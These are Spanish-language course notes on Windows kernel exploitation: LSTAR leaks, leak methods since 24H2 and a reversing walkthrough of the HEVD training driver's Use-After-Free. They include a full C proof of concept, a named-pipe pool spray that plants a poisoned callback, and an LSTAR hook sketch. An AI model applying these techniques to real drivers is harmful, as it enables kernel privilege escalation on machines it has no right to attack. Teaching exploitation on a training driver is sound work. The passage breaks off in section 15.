Saltar a contenido

Clase 3 — MSR LSTAR, leaks de kernel base y reversing del Use-After-Free en HEVD

Resumen: Clase mixta. Primero la parte teórica corta: el MSR LSTAR apunta a nt!KiSystemCall64, los exploits viejos lo pisaban para hookear syscalls (hoy bloqueado por PatchGuard) pero leerlo sigue siendo útil para liquear la base de ntoskrnl. Repaso de cómo cambió la dificultad de los leaks desde Windows 10 24H2 (antes NtQuerySystemInformation lo daba gratis desde user; ahora pide admin). La parte práctica reversea el Use-After-Free de HEVD: 4 IOCTLs que encadenan Allocate → Free → Allocate Fake → Use, walkthrough con !pool observando el tag Hack (al revés en hexa), por qué el exploit "naive" no funciona en Windows 10/11 (pool randomization + LFH) y cómo se sortea con pool spray (named pipes como objeto reclaimer ideal).

← Volver al Módulo 5 · ← Clase 2


Tabla de Contenidos

  1. El MSR LSTAR y el dispatcher de syscalls
  2. Hook de LSTAR — exploit clásico ya muerto
  3. Leak de LSTAR — todavía útil
  4. Cómo cambió el panorama de leaks desde Windows 10 24H2
  5. Estrategia de los exploits modernos — separar leak de explotación
  6. Use-After-Free en HEVD — los 4 IOCTLs
  7. Reversing del IOCTL 0x222053 — Allocate UAF Object
  8. Reversing del IOCTL 0x22205B — Free UAF Object
  9. Reversing del IOCTL 0x22205F — Allocate Fake Object
  10. Reversing del IOCTL 0x222057 — Use UAF Object
  11. El cliente C completo — encadenar los 4 IOCTLs
  12. Walkthrough en runtime con !pool
  13. Por qué el exploit "naive" no funciona en Windows 10/11
  14. Pool spray — named pipes como objeto reclaimer
  15. Tip de debugging — saltar el call rax para evitar BSoD
  16. Cheat sheet de la clase

1. El MSR LSTAR y el dispatcher de syscalls

LSTAR (Long Syscall Target Address Register) es uno de los Model-Specific Registers del CPU. En x64, la instrucción syscall lee LSTAR para saber a dónde saltar cuando una app de user-mode hace la transición a kernel.

MSR Hex ID Propósito
LSTAR 0xC0000082 Dirección de entrada a kernel cuando syscall se ejecuta en long mode
STAR 0xC0000081 Selectores CS/SS para user y kernel
SFMASK 0xC0000084 Máscara de RFLAGS al hacer syscall
FS_BASE 0xC0000100 Base del segmento fs (TEB en user-mode)
GS_BASE 0xC0000101 Base del segmento gs (KPCR en kernel-mode)

Punto clave: En Windows, LSTAR se setea durante el boot y apunta a nt!KiSystemCall64 (o nt!KiSystemCall64Shadow cuando KVA Shadow / Meltdown mitigation está activo).

Leer LSTAR desde WinDbg

0: kd> rdmsr c0000082
msr[c0000082] = fffff800`12c8e2c0

0: kd> u fffff800`12c8e2c0
nt!KiSystemCall64:
fffff800`12c8e2c0 0f01f8          swapgs
fffff800`12c8e2c3 654889242510...  mov  qword ptr gs:[10h], rsp
...

El flujo desde user a kernel

ntdll!NtCreateFile (user-mode)
    │ mov eax, <SSN>         ; ej. 0x55 para NtCreateFile
    │ syscall                 ; ← lee LSTAR
nt!KiSystemCall64  (lee EAX)
    ├── EAX < 0x1000 → indexa nt!KiServiceTable
    └── EAX ≥ 0x1000 → indexa win32k!W32pServiceTable
nt!NtCreateFile (kernel-mode)

Recordatorio de Clase 1: la fórmula para resolver una entrada KiServiceTable[N] es dd /c1 nt!KiServiceTable + (N*4) L1 y después u (nt!KiServiceTable + (DWORD >> 4)). Ver Clase 1, §11.

No se puede poner breakpoint dentro de KiSystemCall64 — es zona crítica del CPU (cambio de stack, swap de gs, etc.). El debugger lo prohíbe. La mecánica que arma LSTAR → KiSystemCall64 → SSDT lookup → función kernel se entiende leyendo el código pero no se trace paso a paso.


2. Hook de LSTAR — exploit clásico ya muerto

Idea histórica: Como LSTAR apunta literalmente al único punto de entrada de cualquier syscall, pisar LSTAR con la dirección de un código propio te daba un hook universal de todas las APIs del sistema.

Cómo se hacía antes

Con wrmsr (instrucción privilegiada — solo desde kernel), se sobrescribía LSTAR con la dirección de un trampolín. El trampolín filtraba por número de syscall en EAX:

; Trampolín que reemplazaba LSTAR
my_lstar_hook:
    cmp     eax, 26h            ; ¿es la syscall que me interesa?
    je      malicious_path       ; → mi código
    jmp     original_KiSystemCall64   ; resto → comportamiento normal

malicious_path:
    ; robar token, ocultar archivos, modificar resultados, etc.
    ; ... después saltar a la rutina original para no descompensar el sistema
    jmp     original_KiSystemCall64
Detalle Por qué importa
Filtro por SSN Si el hook procesara todas las syscalls, el sistema se cuelga inmediatamente — son cientos por segundo
Salto al original Para que el sistema siga funcionando, el path no-objetivo debe seguir comportándose normal
Idea de stealth El hook se aplicaba después del boot del antivirus, era invisible para herramientas que solo miran exports

Por qué ya no funciona — PatchGuard

PatchGuard (Kernel Patch Protection) es el guardián que Microsoft introdujo desde Vista x64. Verifica periódicamente regiones críticas del kernel — entre ellas LSTAR — y si detecta cambios, dispara un BSoD 0x109 (CRITICAL_STRUCTURE_CORRUPTION).

  • wrmsr c0000082, ... se ejecuta — la instrucción no falla.
  • Pero a los pocos segundos, PatchGuard barre y nota la diferencia → BSoD inmediato.
  • No hay forma documentada de "deshabilitar" PatchGuard que sea estable. Los bypasses históricos siempre se parchearon.
Cosa que está protegida por PatchGuard Detalle
nt!KiServiceTable (SSDT) El hook clásico de SSDT también murió por esto
nt!IDT Hook de interrupts kernel-mode
LSTAR, STAR, SFMASK Los MSRs de syscall
KPCR.GdtBase, IDT en KPCR Estructuras críticas del CPU
Código de algunas funciones del kernel (Ke*, Mm*, ...) Detección de inline hooks

Conclusión: escribir LSTAR está muerto. Leerlo, sin embargo, sigue siendo perfectamente legal y muy útil.


3. Leak de LSTAR — todavía útil

rdmsr también requiere kernel-mode. Pero un driver vulnerable que expone un IOCTL que llama __readmsr con un argumento controlado por el user entrega el contenido de LSTAR al atacante. Y LSTAR apunta dentro de nt!KiSystemCall64, que está dentro de ntoskrnl.exeleak de la base de ntoskrnl.

Patrón vulnerable en un driver

// IOCTL típicamente vulnerable (visto en versiones viejas de NSIS y otros)
case IOCTL_READ_MSR:
    {
        ULONG msrIndex = *(ULONG*)inputBuffer;
        ULONGLONG msrValue = __readmsr(msrIndex);   // ← argumento controlado por user
        memcpy(outputBuffer, &msrValue, sizeof(msrValue));
        break;
    }

En assembly se ve algo así:

; rd_msr handler
mov     ecx, [rcx]          ; ECX = msrIndex viene del user buffer
rdmsr                        ; EDX:EAX = MSR[ECX]
mov     [r11], eax           ; lower 32 bits
mov     [r11+4], edx         ; upper 32 bits
ret

Cliente para leakear con un IOCTL así

DWORD msrIndex = 0xC0000082;     // LSTAR
ULONGLONG msrValue = 0;
DWORD bytesReturned = 0;

DeviceIoControl(
    hDevice,
    IOCTL_READ_MSR,
    &msrIndex, sizeof(msrIndex),
    &msrValue, sizeof(msrValue),
    &bytesReturned,
    NULL);

// msrValue = LSTAR = dirección dentro de nt!KiSystemCall64
// → restando el offset conocido se obtiene la base de ntoskrnl.exe

De LSTAR a la base de ntoskrnl y a nt!PsInitialSystemProcess

1. LSTAR  → nt!KiSystemCall64           (dirección leaked)
2. nt_base = LSTAR - offset(KiSystemCall64 from base of ntoskrnl)
            ↑ se calcula offline mirando el ntoskrnl.exe del target
3. PsInitialSystemProcess = nt_base + offset(PsInitialSystemProcess)
            ↑ es una variable global en la sección .data de ntoskrnl
4. PsInitialSystemProcess → EPROCESS de System (PID 4) → su Token
5. Token stealing → SYSTEM

Caveat: los offsets dentro de ntoskrnl son específicos por build. Hay que tabularlos para cada versión de Windows que se quiera explotar (o calcular dinámicamente parsing el PE en runtime, lo cual es más limpio pero más trabajo).


4. Cómo cambió el panorama de leaks desde Windows 10 24H2

Cambio importante: Hasta Windows 10 24H2, la API user-mode NtQuerySystemInformation con la clase SystemModuleInformation o SystemHandleInformation devolvía las direcciones kernel de ntoskrnl y de los EPROCESS desde un proceso no-administrador. Desde 24H2, esa info requiere ser administrador — los procesos limited-rights ya no la ven.

Comparativa antes vs ahora

Mecanismo Hasta Win10 24H2 Win10 24H2 y posteriores
NtQuerySystemInformation(SystemModuleInformation) Devuelve base de ntoskrnl.exe desde user no-admin Solo desde admin/SYSTEM
NtQuerySystemInformation(SystemHandleInformation) Devuelve direcciones kernel de objects → permite leak de EPROCESS desde user no-admin Solo desde admin/SYSTEM
EnumDeviceDrivers Idem Idem
Consecuencia Cualquier exploit kernel partía con el leak gratis Hay que buscar otro leak o ser admin (lo cual ya implica privilegios — ¿para qué exploit?)

Por qué importa

El objetivo realista de un exploit kernel es la escalada de privilegios desde un usuario sin permisos. Si ya hay que ser admin para leakear la base, el exploit pierde casi todo su valor.

El gato y el ratón: Microsoft saca un parche cada mes. Investigadores publican un nuevo método de leak (un IOCTL vulnerable, un info-leak en alguna struct kernel exportada via Win32, un side-channel en alguna feature). Microsoft lo parchea al mes siguiente. Los exploits modernos tienen que reemplazar el leak constantemente.


5. Estrategia de los exploits modernos — separar leak de explotación

Decisión pedagógica del módulo: Como los métodos de leak cambian todos los meses, enseñar uno específico sería ridículo (estaría desactualizado al rato). Lo que se hace en el curso:

Componente del exploit Cómo se enseña en el módulo
Lógica de explotación (overflow, UAF, type confusion, etc.) Se enseña completa, como se hacía antes
Leak de ntoskrnl y EPROCESS Se separa en un módulo aparte que corre como administrador, devuelve esas direcciones, y el exploit las consume como si las hubiera obtenido vía leak
Método de leak vigente al momento Se muestra uno que esté funcionando en el momento de grabar — pero se aclara que cuando el alumno haga un exploit real, va a tener que investigar cuál está vigente en ese momento

Workflow recomendado para un exploit moderno

1. Encontrar la vulnerabilidad kernel             ← lo que enseña el módulo
2. Investigar qué método de leak está vigente HOY ← responsabilidad del estudiante en el momento
3. Combinar leak + explotación + token stealing
4. Validar contra una VM con el último parche aplicado

Advertencia importante: Cualquier exploit kernel publicado tiene una vida útil de meses, máximo años. Microsoft eventualmente parchea las vulns o las técnicas de leak. Es un campo de mantenimiento constante, no de exploits one-shot.

Métodos de leak que existieron (y muchos ya están parcheados)

Método Estado típico
NtQuerySystemInformation(SystemModuleInformation) desde user ✅ Hasta 24H2, ❌ desde 24H2
NtQuerySystemInformation(SystemHandleInformation) ✅ Hasta 24H2, ❌ desde 24H2
Driver con IOCTL rdmsr arbitrario (e.g., NSIS viejo) ❌ Casi todos parcheados, pero siguen apareciendo en drivers de terceros
Side-channel via accelerated features (GDI, fonts) Históricamente productivos, todos parcheados eventualmente
Driver vulnerable de tercero (BYOVD) ✅ Funciona casi siempre — pero requiere dropear un driver firmado vulnerable (diferente threat model)

Recurso: https://www.loldrivers.io/ — repositorio público de drivers firmados vulnerables (técnica BYOVD, Bring Your Own Vulnerable Driver).


6. Use-After-Free en HEVD — los 4 IOCTLs

HEVD implementa la vulnerabilidad UAF clásica con 4 IOCTLs separados que el atacante encadena. Esto refleja exactamente cómo aparece en la vida real: un driver con varias entradas que interactúan entre sí mediante una variable global compartida.

Tabla resumen

IOCTL Nombre Qué hace Bug
0x222053 Allocate UAF Object Aloca un objeto en NonPagedPoolNx, guarda el puntero en una global
0x22205B Free UAF Object Libera el objeto pero no limpia la global Dangling pointer
0x22205F Allocate Fake Object Aloca otro objeto del mismo tamaño con datos del user Reclaimer del slot
0x222057 Use UAF Object Lee la global y hace un call indirect al primer qword del objeto Use-after-free → RIP control

Diagrama del flujo de explotación

[1] IOCTL 0x222053  ──→  ExAllocatePoolWithTag(NPPNX, 0x60, 'kcaH')
                         g_UafObject = <dirección kernel>
                         [global apunta a chunk válido con first qword = func legítima]

[2] IOCTL 0x22205B  ──→  ExFreePoolWithTag(g_UafObject, 'kcaH')
                         g_UafObject ¡NO se borra!  ← bug
                         [el chunk está libre pero la global aún apunta ahí]

[3] IOCTL 0x22205F  ──→  ExAllocatePoolWithTag(NPPNX, 0x60, 'kcaH')
                         memcpy(nuevo_chunk, userBuffer, 0x58)
                         [con suerte el pool reusa el slot recién liberado;
                          si lo hace, ahora g_UafObject apunta a datos del atacante]

[4] IOCTL 0x222057  ──→  fn = *(g_UafObject + 0)
                         call fn    ← ¡salta a 0x4141414141414141 si reusamos!

Estructura del objeto UAF (0x60 bytes):

typedef struct _UAF_OBJECT {
    PVOID Callback;         // +0x00 — el primer qword es un puntero a función
    CHAR  Buffer[0x58];     // +0x08 — datos varios (relleno)
} UAF_OBJECT;                // = 0x60 bytes total

7. Reversing del IOCTL 0x222053 — Allocate UAF Object

Decodificar el IOCTL

IOCTL          : 0x00222053
DeviceType     : 0x0022 (FILE_DEVICE_UNKNOWN)
RequiredAccess : FILE_ANY_ACCESS
FunctionCode   : 0x814
Method         : METHOD_NEITHER

Pseudocódigo del handler

NTSTATUS AllocateUaFObject() {
    PUAF_OBJECT obj;

    // 0x200 = NonPagedPoolNx (pool no-paginable, no ejecutable)
    obj = (PUAF_OBJECT)ExAllocatePoolWithTag(
              NonPagedPoolNx,
              sizeof(UAF_OBJECT),    // 0x60
              'kcaH');                // tag "Hack" (en hexa little-endian = 4B 63 61 48)

    if (!obj) return STATUS_NO_MEMORY;

    obj->Callback = (PVOID)UseUaFObjectCallback;   // función legítima del driver
    g_UafObject = obj;                              // ← variable global

    return STATUS_SUCCESS;
}

Argumentos clave de ExAllocatePoolWithTag

Argumento Valor en HEVD Significado
PoolType 0x200 (NonPagedPoolNx) Pool no-paginable, no ejecutable (DEP)
NumberOfBytes 0x60 Tamaño del objeto UAF
Tag 'kcaH' "Hack" reverseado (los tags son ASCII en little-endian)

Tipos de pool relevantes:

Constante Valor Notas
NonPagedPool 0 Antiguo: no-paginable, ejecutable (deprecated, Microsoft pide no usarlo)
PagedPool 1 Paginable, no ejecutable
NonPagedPoolNx 0x200 Lo que se usa hoy: no-paginable, no-ejecutable
NonPagedPoolNxCacheAligned 0x210 + alineación al tamaño de cache line

Importante: chunks alocados en NonPagedPool solo se reusan con otros del mismo tipo. No se mezclan paged y non-paged. Para hacer pool spray hay que alocar exactamente del mismo tipo que el objeto vulnerable.

Pool tags en hexa al revés

ExAllocatePoolWithTag toma un ULONG (4 bytes ASCII). Los caracteres se almacenan little-endian, así que en memoria aparecen invertidos:

Tag literal en código Bytes en memoria (hex) Cómo aparece en !pool
'Hack' (H a c k) 48 61 63 6B Hack (legible)
'kcaH' 6B 63 61 48 Hack ← cuando los chars están reversed en el código, se ve normal en !pool

Tip de IDA: Cuando se ve mov r8d, 6B636148h en assembly, ese es el tag 'kcaH' (pero en memoria queda 48 61 63 6B = "Hack"). Click derecho → Char (ASCII) sobre el inmediato muestra el string. Lo mismo en byte ptr [...] = 'kcaH'.


8. Reversing del IOCTL 0x22205B — Free UAF Object

Pseudocódigo del handler

NTSTATUS FreeUaFObject() {
    if (g_UafObject) {
        ExFreePoolWithTag(g_UafObject, 'kcaH');
        // ¡falta esto!
        // g_UafObject = NULL;
    }
    return STATUS_SUCCESS;
}

El bug está en lo que NO está

Lo que el código hace Lo que debería hacer
ExFreePoolWithTag(g_UafObject, 'kcaH') ExFreePoolWithTag(g_UafObject, 'kcaH');
(nada más) g_UafObject = NULL;

Patrón clásico de UAF: liberar memoria pero dejar el puntero "colgado" (dangling). El driver no detecta que el objeto fue liberado porque la global sigue siendo no-NULL.

Cómo se ve en assembly

mov     rcx, cs:g_UafObject     ; cargar el puntero global
test    rcx, rcx
jz      short loc_skip
mov     edx, 6B636148h          ; tag 'kcaH'
call    cs:__imp_ExFreePoolWithTag
; (acá debería ir 'mov cs:g_UafObject, 0' — no está)
loc_skip:
xor     eax, eax                ; STATUS_SUCCESS
ret

Bug hunter mindset: Cuando se ve ExFreePoolWithTag y a continuación NO se ve la nullificación de la fuente del puntero, flag inmediato — muy probable UAF. Buscar después qué otro código toca esa misma global para ver si alguien la dereferencia.

Encontrar la global en IDA — xrefs

En IDA, click sobre g_UafObjectCtrl+X (cross-references). Aparecen:

  • Write desde AllocateUaFObject (la setea).
  • Read desde FreeUaFObject (la lee para liberar).
  • Read desde UseUaFObjectel sospechoso: alguien la lee después y la dereferencia.

Estrategia general: Cuando una global mantiene state entre IOCTLs, es suspect zone. Mirar todos los xrefs y modelar la máquina de estados.


9. Reversing del IOCTL 0x22205F — Allocate Fake Object

Pseudocódigo del handler

NTSTATUS AllocateFakeObject(PVOID userBuffer, SIZE_T userSize) {
    PVOID fakeObj;

    fakeObj = ExAllocatePoolWithTag(
                  NonPagedPoolNx,
                  0x58,                  // ← un poco menos que UAF_OBJECT (0x60)
                  'kcaH');                // ← MISMO tag

    if (!fakeObj) return STATUS_NO_MEMORY;

    __try {
        ProbeForRead(userBuffer, userSize, sizeof(UCHAR));
        memcpy(fakeObj, userBuffer, 0x58);   // copia el contenido controlado por user
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        ExFreePoolWithTag(fakeObj, 'kcaH');
        return GetExceptionCode();
    }

    return STATUS_SUCCESS;
}

El truco — alocar del mismo size + tag

Para que el pool allocator reuse el slot recién liberado por FreeUaFObject, el AllocateFakeObject:

Característica Por qué
Mismo PoolType (NonPagedPoolNx) Pools distintos no se mezclan
Mismo bucket de tamaño (0x580x60) El pool agrupa chunks por tamaño — el 0x58 cae en el mismo bucket que 0x60 (ambos = 0x70 con header)
Mismo tag ('kcaH') No es estrictamente necesario para el reuse, pero hace que aparezca con el mismo tag en !pool (más fácil de encontrar)

Por qué 0x58 en lugar de 0x60: El sistema redondea hacia arriba al múltiplo de 0x10 más cercano. Los chunks de 0x58 y 0x60 caen ambos en el mismo bucket (0x70 = 0x60 + 0x10 header). Es funcionalmente equivalente.

El primer qword es el callback en el objeto fake

// Layout que el cliente arma desde user-mode
struct {
    PVOID Callback;     // +0x00 — el atacante pone 0x4141414141414141 acá
    CHAR  Padding[0x50]; // +0x08 — relleno con 'B' o lo que sea
} fakeUserBuffer = {
    .Callback = (PVOID)0x4141414141414141,
    .Padding  = {'B','B','B', ... },
};

// Después de DeviceIoControl(0x22205F, &fakeUserBuffer, 0x58, ...):
//   nuevo_chunk[0x00] = 0x4141414141414141    ← Callback "envenenado"
//   nuevo_chunk[0x08] = 'B's

10. Reversing del IOCTL 0x222057 — Use UAF Object

Pseudocódigo del handler

NTSTATUS UseUaFObject() {
    if (g_UafObject) {
        PUAF_OBJECT obj = g_UafObject;
        obj->Callback();           // ← call indirect al primer qword
    }
    return STATUS_SUCCESS;
}

Lo que se ve en assembly

mov     rax, cs:g_UafObject     ; rax = puntero (potencialmente al chunk reusado)
test    rax, rax
jz      short loc_skip
call    qword ptr [rax]          ; ← call rax dereferenced — RIP CONTROL si reusamos
loc_skip:
xor     eax, eax
ret

El gadget central del bug: call qword ptr [rax] con rax apuntando a memoria controlada por el atacante. Es el equivalente kernel-mode de un C++ vtable hijack.

Lo que el atacante observa

Estado de g_UafObject Comportamiento
Apunta al objeto legítimo (post-Allocate, pre-Free) Callback válido → ejecuta una función benigna del driver
Apunta a chunk liberado pero no reusado El contenido sigue ahí (pool no zeroizado por defecto) → mismo callback que antes ejecuta normal — NO crashea
Apunta a chunk reusado por AllocateFakeObject Callback = 0x4141...call rax salta a non-canonical → BSoD o, si se prepara una ROP chain, ejecución kernel-mode controlada

Observación importante: El driver no detecta nada mientras el contenido del slot liberado no haya sido pisado. El UAF solo se manifiesta cuando el reuse exitoso reemplaza el Callback.


11. El cliente C completo — encadenar los 4 IOCTLs

PoC en C que ejerce la vulnerabilidad UAF de HEVD. Versión "naive" (sin pool spray) — funciona en Windows 7, falla en Windows 10/11 por las razones que se ven en §13.

#include <windows.h>
#include <stdio.h>

#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT       0x222053
#define HEVD_IOCTL_FREE_UAF_OBJECT           0x22205B
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT      0x22205F
#define HEVD_IOCTL_USE_UAF_OBJECT            0x222057

#define UAF_OBJECT_SIZE   0x60
#define FAKE_OBJECT_SIZE  0x58

#pragma pack(push, 1)
typedef struct _FAKE_OBJECT {
    PVOID Callback;                      // +0x00
    CHAR  Buffer[FAKE_OBJECT_SIZE - 8];   // +0x08, relleno
} FAKE_OBJECT;
#pragma pack(pop)

int main(void) {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Device handle: %p\n", hDevice);

    DWORD bytesReturned;

    // [1] Allocate UAF Object
    printf("[*] Step 1: Allocate UAF Object (IOCTL 0x%X)\n",
           HEVD_IOCTL_ALLOCATE_UAF_OBJECT);
    DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_UAF_OBJECT,
                    NULL, 0, NULL, 0, &bytesReturned, NULL);

    // [2] Free UAF Object — la global queda colgada
    printf("[*] Step 2: Free UAF Object (IOCTL 0x%X)\n",
           HEVD_IOCTL_FREE_UAF_OBJECT);
    DeviceIoControl(hDevice, HEVD_IOCTL_FREE_UAF_OBJECT,
                    NULL, 0, NULL, 0, &bytesReturned, NULL);

    // [3] Construir el objeto fake con Callback envenenado
    FAKE_OBJECT fake;
    fake.Callback = (PVOID)0x4141414141414141ULL;
    memset(fake.Buffer, 'B', sizeof(fake.Buffer));

    // [3] Allocate Fake Object — intentar reusar el slot liberado
    printf("[*] Step 3: Allocate Fake Object (IOCTL 0x%X)\n",
           HEVD_IOCTL_ALLOCATE_FAKE_OBJECT);
    DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                    &fake, sizeof(fake),
                    NULL, 0, &bytesReturned, NULL);

    printf("[*] Press ENTER to trigger the UAF...\n");
    getchar();

    // [4] Use UAF Object — call indirect que dispara el bug
    printf("[*] Step 4: Use UAF Object (IOCTL 0x%X) -- BSoD expected\n",
           HEVD_IOCTL_USE_UAF_OBJECT);
    DeviceIoControl(hDevice, HEVD_IOCTL_USE_UAF_OBJECT,
                    NULL, 0, NULL, 0, &bytesReturned, NULL);

    CloseHandle(hDevice);
    return 0;
}

Por qué el getchar() antes del Use: Da tiempo a adjuntar el debugger al proceso user-mode (con IDA o WinDbg standalone) para inspeccionar el estado del sistema antes del call final. El proceso user no es estrictamente necesario debuggearlo (el driver es lo que importa) pero ayuda a sincronizar.


12. Walkthrough en runtime con !pool

Con WinDbg en kernel mode, attacheado a la VM target con HEVD cargado y breakpoints en cada uno de los 4 handlers, paso a paso:

Estado 1 — después del Allocate

0: kd> bp HEVD!AllocateUaFObject
0: kd> g
... breakea adentro de AllocateUaFObject
... step over hasta después de ExAllocatePoolWithTag

0: kd> r rax
rax=ffffba0b`a4ff22c0

0: kd> !pool ffffba0ba4ff22c0
Pool page ffffba0ba4ff22c0 region is Nonpaged pool

 ffffba0ba4ff20b0 size:   70 previous size:    0  (Allocated)  Hack
* ffffba0ba4ff22b0 size:   70 previous size:    0  (Allocated) *Hack
                                                              Pooltag Hack
 ffffba0ba4ff2320 size:   70 previous size:   70  (Allocated)  Hack
Detalle Valor Significado
Dirección de retorno ffffba0ba4ff22c0 Esta es la dirección user (datos) — el header está 0x10 bytes antes
Inicio del chunk ffffba0ba4ff22b0 Dirección real del chunk (header + data)
Tag Hack Confirmación de tag
Estado Allocated Aún en uso
Size 0x70 0x60 user + 0x10 header
previous size: 0 0x0 El chunk anterior es libre o este es el primero del bucket

Importante: !pool <addr> muestra el chunk al que pertenece esa dirección, más algunos vecinos para contexto. El asterisco * marca específicamente el chunk pedido.

Por qué los chunks aparecen agrupados de a 0x70: El pool agrupa chunks del mismo tamaño en slabs. Es muy común ver muchos 0x70 consecutivos.

Estado 2 — después del Free (chunk liberado, antes del Fake)

0: kd> g
... breakea en FreeUaFObject, step over al ExFreePoolWithTag

0: kd> !pool ffffba0ba4ff22c0
* ffffba0ba4ff22b0 size:   70 previous size:    0  (Free      ) *Hack
                                                                Pooltag Hack
Cambio Valor
Estado Free ← cambió de Allocated
Tag Hack (preservado en el header del chunk libre)
Size 0x70 (igual)

Observación clave: El contenido del chunk no se zeroiza al liberar. Si se hace dq <addr> L4, los bytes que estaban antes (incluyendo el Callback original) siguen ahí. Por eso el Use post-Free sin Allocate Fake no crashea — sigue habiendo un puntero válido al callback original.

Estado 3 — después del Fake (depende de si reusó)

0: kd> g
... breakea en AllocateFakeObject, step over al ExAllocatePoolWithTag

0: kd> r rax
rax=ffffba0b`a4ff2820         ← ¡otra dirección!

0: kd> !pool ffffba0ba4ff22c0
* ffffba0ba4ff22b0 size:   70 previous size:    0  (Free      ) *Hack

Falla el reuse: En Windows 10/11, el allocator no devolvió la dirección recién liberada. El Fake quedó en otro slot (ffffba0ba4ff2820). La global sigue apuntando al chunk free original.

Estado 4 — el Use no crashea (con suerte)

Como el chunk liberado todavía tiene los bytes originales (el Callback apunta a la función legítima), el call qword ptr [rax] salta a la función legítima → no BSoD, pero tampoco se logró RIP control.

0: kd> g
... breakea en UseUaFObject, step over al call

0: kd> r rip
rip=fffff803`acd5e780    ← función legítima, NO 0x4141...

Conclusión del walkthrough: El bug existe (la global queda dangling), pero el reuse no ocurre sin pool spray. La explotación naive no es suficiente.


13. Por qué el exploit "naive" no funciona en Windows 10/11

En Windows 7 — pool LIFO simple

El allocator del pool en Windows 7 era LIFO puro (last-in-first-out): si se liberaba un chunk de 0x70 y luego se pedía otro de 0x70, devolvía el mismo slot recién liberado. Esto hacía que el patrón Allocate → Free → Allocate Fake → Use funcionara directo, sin spray.

En Windows 10/11 — pool randomization + LFH + Segment Heap

Microsoft introdujo varias mitigaciones acumuladas que rompen el reuse determinístico:

Mitigación Efecto en este UAF
Low-Fragmentation Heap (LFH) Cuando un bucket tiene muchas allocaciones, se randomiza qué slot se devuelve dentro del bucket
Segment Heap (introducido para ntoskrnl en builds modernos) Allocator nuevo con aún más randomización
Pool randomization El sistema mezcla slots para que el reuse no sea predecible
Per-CPU caches Cada core tiene caches que el allocator revisa primero — el slot que se libera puede no estar en el cache del core que aloca

Resultado: Una sola pareja Free + Allocate tiene una probabilidad muy baja (no determinista) de reusar el slot. El exploit naive falla casi siempre.

La solución — pool spray

Para forzar el reuse, hay que alocar muchísimos chunks del mismo tamaño después del free. Con suficientes allocaciones, alguna va a caer en el slot liberado por probabilidad.

// Spray rudimentario — llamar al IOCTL 0x22205F mil veces
for (int i = 0; i < 10000; i++) {
    DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                    &fake, sizeof(fake),
                    NULL, 0, &bytesReturned, NULL);
}

Caveat: El IOCTL 0x22205F aloca un solo objeto por llamada. Hacer 10k iteraciones llena el non-paged pool con 10k chunks fake — funciona pero es sucio: deja muchos objetos huérfanos del driver, no escala, y se puede atrapar el slot otro proceso. Hay que esperar que la global apunte a uno de los chunks atacante y no a otra cosa.


14. Pool spray — named pipes como objeto reclaimer

Técnica estándar: En lugar de usar el propio IOCTL del driver vulnerable como reclaimer, usar named pipes. Es un mecanismo Win32 que internamente aloca buffers en NonPagedPool con tamaño y contenido controlado por el atacante, sin tocar el driver target.

Por qué named pipes son ideales

Propiedad Por qué importa
Aloca en NonPagedPool Mismo pool que ExAllocatePoolWithTag(NonPagedPoolNx, ...) → buckets compartidos
Tamaño variable controlado Se elige al hacer WriteFile sobre el pipe. Permite alocar exactamente del tamaño del slot a reclamar (0x60)
Contenido controlado Lo que se escribe en el pipe queda literal en el buffer kernel. Se puede poner el Callback envenenado directamente
Trivial de spammear Crear 1000 pipes y escribirles 0x58 bytes a cada uno = 1000 chunks atacante
No requiere IOCTL del driver Ataca directamente al kernel scheduler de pools, no depende de cómo el driver expone allocate fake

Esqueleto de spray con pipes

#define SPRAY_COUNT       0x1000
#define SPRAY_DATA_SIZE   0x58       // mismo bucket que UAF_OBJECT (0x60 → 0x70)

HANDLE hReadPipes[SPRAY_COUNT];
HANDLE hWritePipes[SPRAY_COUNT];

// Construir el "fake object" payload una vez
char payload[SPRAY_DATA_SIZE];
*(PVOID*)payload = (PVOID)0x4141414141414141ULL;   // Callback envenenado
memset(payload + 8, 'B', SPRAY_DATA_SIZE - 8);

// Crear N pipes
for (int i = 0; i < SPRAY_COUNT; i++) {
    CreatePipe(&hReadPipes[i], &hWritePipes[i], NULL, 0x1000);
}

// ... aquí: hacer Allocate UAF → Free UAF (deja el slot libre) ...

// Ahora: spray — escribir el payload en cada pipe.
// Cada WriteFile aloca un buffer kernel del tamaño solicitado en NonPagedPool.
DWORD bytesWritten;
for (int i = 0; i < SPRAY_COUNT; i++) {
    WriteFile(hWritePipes[i], payload, SPRAY_DATA_SIZE, &bytesWritten, NULL);
}

// Con alta probabilidad, uno de los WriteFile cayó en el slot del UAF.
// Ahora g_UafObject->Callback = 0x4141414141414141.

// Disparar Use UAF Object
DeviceIoControl(hDevice, HEVD_IOCTL_USE_UAF_OBJECT,
                NULL, 0, NULL, 0, &bytesReturned, NULL);
// ⇒ call qword ptr [g_UafObject] → call 0x4141414141414141 → BSoD/RIP control

Otros objetos reclaimer comunes (cuando los pipes no calzan en el bucket)

Objeto Tamaño controlable Notas
Named pipes Sí (vía WriteFile size) El más usado
Tagged pipes / Mailslots Similar a pipes
Window names / Class names (Win32k) Limitado Solo paged pool
Bitmap objects (GDI) Buen candidato para Win32k UAFs
Token objects Solo tamaños fijos Útil para casos específicos
NtUserMNDragOver / clases similares Variable Históricamente usados por researchers

Recurso: https://github.com/sailay1996/awesome-windows-kernel-security-development tiene una lista bastante completa de pool spray primitives.

Caveat: Los chunks de named pipe viven en NonPagedPool tradicional. No funcionan para reclamar slots en PagedPool — para eso hay que usar otros objetos (e.g., los objetos GDI mencionados).


15. Tip de debugging — saltar el call rax para evitar BSoD

Truco operativo: Cuando se está experimentando con un exploit que termina en call qword ptr [rax] y rax apunta a basura, cada test termina en BSoD y obliga a reiniciar la VM. Para evitarlo:

Procedimiento

  1. Poner un breakpoint justo en el call qword ptr [rax] (no después).
  2. Cuando breakea, inspeccionar rax y el contenido de [rax] para confirmar el state.
